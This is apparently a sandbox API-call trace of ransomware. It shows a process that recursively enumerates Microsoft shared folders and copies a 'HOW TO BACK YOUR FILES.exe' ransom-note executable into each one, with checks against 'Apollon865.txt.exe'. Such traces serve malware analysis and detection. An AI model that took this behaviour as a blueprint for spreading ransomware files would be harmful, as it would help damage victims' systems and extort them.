	[0056.045] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.045] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.045] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA"
	[0056.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5919c0 | out: hHeap=0x580000) returned 1
	[0056.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0056.045] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA") returned 56
	[0056.046] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA"
	[0056.046] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.046] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.054] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.054] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x397a3ef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x397a3ef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.054] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.054] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.054] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6"
	[0056.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0056.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0056.055] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6") returned 61
	[0056.055] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6"
	[0056.055] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.055] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba6\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.060] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.060] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x397ca050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x397ca050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.060] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.060] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.060] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit"
	[0056.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0056.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0056.061] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit") returned 60
	[0056.061] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit"
	[0056.061] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.061] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.065] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x397ca050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x397ca050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.065] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.065] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.065] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US"
	[0056.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0056.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0056.065] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US") returned 66
	[0056.065] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US"
	[0056.065] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.065] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.069] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x397ca050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x397ca050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.069] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.070] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.070] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv"
	[0056.070] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0056.070] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0056.070] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv") returned 61
	[0056.070] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv"
	[0056.070] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.070] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.077] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.077] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x397f01b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x397f01b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.077] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.077] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.077] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv"
	[0056.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0056.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0056.078] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv") returned 69
	[0056.078] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv"
	[0056.078] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.078] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wksconv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.087] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.087] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x39816310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39816310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.087] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.087] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.088] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US"
	[0056.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0056.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0056.088] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US") returned 67
	[0056.088] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US"
	[0056.088] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.088] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.092] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.092] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x39816310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39816310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.092] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.092] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.092] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery"
	[0056.092] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0056.092] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0056.092] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned 63
	[0056.092] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery"
	[0056.092] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.092] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.099] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.099] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39816310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39816310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.099] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.099] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.100] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal"
	[0056.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591940 | out: hHeap=0x580000) returned 1
	[0056.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0056.100] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal") returned 59
	[0056.100] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal"
	[0056.100] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.100] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.106] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.106] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3983c470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3983c470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.106] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.106] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.106] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033"
	[0056.106] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0056.106] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0056.106] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033") returned 64
	[0056.106] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033"
	[0056.106] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.107] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.111] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.111] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3983c470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3983c470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.111] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.111] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.112] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14"
	[0056.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0056.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0056.112] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14") returned 61
	[0056.112] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14"
	[0056.112] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.112] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.116] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.116] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x3983c470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3983c470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.116] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.116] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.117] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller"
	[0056.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0056.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0056.117] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller") returned 85
	[0056.117] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller"
	[0056.117] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
